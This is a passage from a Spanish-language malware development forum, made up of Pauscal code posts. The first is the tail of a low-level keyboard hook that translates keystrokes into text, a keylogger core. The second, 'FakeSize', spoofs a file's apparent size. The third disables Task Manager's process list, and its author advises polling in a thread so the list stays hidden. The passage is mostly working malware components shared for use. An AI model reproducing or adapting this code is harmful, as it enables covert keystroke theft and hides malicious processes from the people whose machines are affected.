Caso 81 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Q":"q"
Caso 87 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"W":"w"
Caso 69 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"E":"e"
Caso 82 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"R":"r"
Caso 84 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"T":"t"
Caso 89 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Y":"y"
Caso 85 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"U":"u"
Caso 73 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"I":"i"
Caso 79 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"O":"o"
Caso 80 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"P":"p"
Caso 65 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"A":"a"
Caso 83 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"S":"s"
Caso 68 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"D":"d"
Caso 70 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"F":"f"
Caso 71 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"G":"g"
Caso 72 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"H":"h"
Caso 74 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"J":"j"
Caso 75 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"K":"k"
Caso 76 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"L":"l"
Caso 192 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Ñ":"ñ"
Caso 90 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Z":"z"
Caso 88 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"X":"x"
Caso 67 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"C":"c"
Caso 86 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"V":"v"
Caso 66 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"B":"b"
Caso 78 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"N":"n"
Caso 77 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"M":"m"
Caso 112 ; Devolver "[F1]"
Caso 113 ; Devolver "[F2]"
Caso 114 ; Devolver "[F3]"
Caso 115 ; Devolver "[F4]"
Caso 116 ; Devolver "[F5]"
Caso 117 ; Devolver "[F6]"
Caso 118 ; Devolver "[F7]"
Caso 119 ; Devolver "[F8]"
Caso 120 ; Devolver "[F9]"
Caso 121 ; Devolver "[F10]"
Caso 122 ; Devolver "[F11]"
Caso 123 ; Devolver "[F12]"
Caso 49 ; Devolver >GetAsyncKeyState(160)?"!":"1"
Caso 50 ; Devolver >GetAsyncKeyState(160)?#34:"2"
Caso 51 ; Devolver >GetAsyncKeyState(160)?"·":"3"
Caso 52 ; Devolver >GetAsyncKeyState(160)?"$":"4"
Caso 53 ; Devolver >GetAsyncKeyState(160)?"%":"5"
Caso 54 ; Devolver >GetAsyncKeyState(160)?"&":"6"
Caso 55 ; Devolver >GetAsyncKeyState(160)?"/":"7"
Caso 56 ; Devolver >GetAsyncKeyState(160)?"(":"8"
Caso 57 ; Devolver >GetAsyncKeyState(160)?")":"9"
Caso 48 ; Devolver >GetAsyncKeyState(160)?"=":"0"
Caso 9 ; Devolver "[TAB]"
Caso 8 ; Devolver "[BORRAR]"
Caso 220 ; Devolver >GetAsyncKeyState(160)?"ª":"º"
Caso 96 ; Devolver "0"
Caso 97 ; Devolver "1"
Caso 98 ; Devolver "2"
Caso 99 ; Devolver "3"
Caso 100 ; Devolver "4"
Caso 101 ; Devolver "5"
Caso 102 ; Devolver "6"
Caso 103 ; Devolver "7"
Caso 104 ; Devolver "8"
Caso 105 ; Devolver "9"
Caso 27 ; Devolver "[ESCAPE]"
Caso 2096852,32 ; Devolver " "
FinSeleccionar
FinProc
Proc KeyboardHook(nCode:Entero,wParam:Word,lParam:Entero):Entero
Si HookEstruc@ = 0 Entonces HookEstruc@ = lParam ' CopyMemory(HookEstruc@,lParam,Long(HookEstruc))
Si nCode = 0 Entonces
Si (HookEstruc.Flags = 0) Entonces ' Si la tecla es precionada (no soltada)
' Acciones!
' EJEMPLO ___________________________
'Seleccionar TeclasTraducir(HookEstruc.VkCode)
' Caso "A"
' Caso "B"
' Caso "[ENTER]"
'FinSeleccionar
FinSi
SiNo
HookPtr = CallNextHookEx(0,HookPtr, wParam, lParam) ' Next
FinSi
FinProc
Var @HookEstruc:KBDLLHOOKSTRUCT
Var Msg:MSG
' Establece el hook en el teclado.
HookPtr = SetWindowsHookEx(13, KeyboardHook@, GetModuleHandle(""), 0)
' Sondeamos los mensajes del sistema.
Mientras GetMessage(Msg,0,0,0) = Verd
TranslateMessage(Msg)
DispatchMessage(Msg)
FinMientras
' Liberamos el hook.
UnhookWindowsHookEx(HookPtr) #59
Análisis y desarrollo de malwares / [Pauscal] FakeSize
Febrero 26, 2015, 11:51:39 AM
Les dejo este código que traduje hace tiempo, lo que hace es spoofear el peso de un archivo.
Código: text
$ADV-
' Unión que convierte una matriz de byte en cadena.
Unión StrAndIntToArrayByte,Str:Cadena,Bite[]:Byte
' Estructuras.
Estruc SECURITY_ATTRIBUTES, _
nLength:Entero, _
lpSecurityDescriptor:Entero, _
bInheritedHandle:Booleano
Estruc OVERLAPPED, _
Internal, _
InternalHigh, _
offset, _
OffsetHigh, _
hEvent:Entero
' APIS
Proc SetFilePointer(,:Entero,Referencia:Entero,:Entero):Entero,"Kernel32"
Proc CreateFile(Referencia:Cadena,,:Entero,Referencia:SECURITY_ATTRIBUTES,,,:Entero):Entero,"Kernel32" "CreateFileA"
Proc ReadFile(,Referencia:Entero,:Entero,Referencia:Entero,Referencia:OVERLAPPED):Booleano,"Kernel32"
Proc WriteFile(,,:Entero,Referencia:Entero,Referencia:OVERLAPPED):Booleano,"Kernel32"
Proc DeviceIoControl(hDevice:Entero,dwIoControlCode:Entero,Referencia lpInBuffer:Entero,nInBufferSize:Entero,Referencia lpOutBuffer:Entero,nOutBufferSize:Entero,Referencia lpBytesReturned:Entero,lpOverlapped:Entero):Booleano,"Kernel32.dll"
Proc GetFileSize(:Entero,Referencia:Entero):Entero,"Kernel32"
Proc CloseHandle(hObject:Entero):Booleano,"Kernel32"
Proc SetEndOfFile(hFile:Entero):Booleano,"Kernel32"
Const FSCTL_SET_SPARSE = &000900C4
Const FILE_SHARE_READ = &1, FILE_SHARE_WRITE = &2
Const GENERIC_READ = &80000000, GENERIC_WRITE = &40000000
Const OPEN_EXISTING = 3,CREATE_NEW = 1
Const INVALID_HANDLE = -1
' // Alternative Space by Yuki!
Proc Espacio(Longitud:Entero):Cadena
Var Ptr:StrAndIntToArrayByte
ReDim Ptr.Bite,Longitud
Devolver Ptr.Str
FinProc
' "VarPtr"
Proc CadPtr(Referencia lpStr:Cadena):Entero
Var @Dir:Entero
Dir@=lpStr@
Devolver Dir
FinProc
Proc FakeSize(Referencia ArchivoBase,ArchivoFinal:Cadena)
Var Origen,Destino,FSize,bReturn:Entero,Buffer:Cadena
Resultado = Verd
Origen = CreateFile(ArchivoBase,GENERIC_READ,FILE_SHARE_READ,Nulo,OPEN_EXISTING,0,0)
FSize = GetFileSize(Origen,Nulo)
Buffer = Espacio(FSize)
ReadFile(Origen, CadPtr(Buffer), FSize, 0, Nulo)
CloseHandle(Origen)
Destino = CreateFile(ArchivoFinal,GENERIC_WRITE,FILE_SHARE_WRITE,Nulo,CREATE_NEW,0,0)
WriteFile(Destino, CadPtr(Buffer), FSize, 0, Nulo)
bReturn = DeviceIoControl(Destino, FSCTL_SET_SPARSE, 0, 0, 0, 0, 0, 0)
Si bReturn = INVALID_HANDLE Entonces
Salir
FinSi
SetFilePointer(Destino,1073741824, 0, 0)
SetEndOfFile(Destino)
CloseHandle(Destino)
FinProc #60
Análisis y desarrollo de malwares / [Pauscal] TaskBar Disable Process List
Febrero 26, 2015, 09:27:34 AM
Les dejo este código que hice, lo que hace es des-habilitar la lista de proceos del Administrador de tareas.
Código: text
El unico problema es que al cerrar y reabrir el administrador de tareas, la lista de procesos se re-habilita, recomiendo escribir este código y ejecutarlo en un Thread que sondee el procedimiento.
Proc FindWindow(Referencia ,:Cadena):Entero,"User32.dll" "FindWindowA"
Proc FindWindowEx(hwndParent,hwndChildAfter:Entero,Referencia lpszClass,lpszWindow:Cadena):Entero,"User32.dll" "FindWindowExA"
Proc EnableWindow(:Entero,:Booleano):Booleano,"user32"
Proc DisableProcessList(Opcional Estado:Booleano = Falso)
Var PtrPadre,PtrHijo:Entero
PtrPadre = FindWindow("#32770","Administrador de tareas de Windows")
Si PtrPadre Entonces
PtrHijo = FindWindowEx(PtrPadre,0,"","Procesos")
Si PtrHijo Entonces
EnableWindow(PtrHijo,Estado)
FinSi
FinSi
FinProcEl unico problema es que al cerrar y reabrir el administrador de tareas, la lista de procesos se re-habilita, recomiendo escribir este código y ejecutarlo en un Thread que sondee el procedimiento.

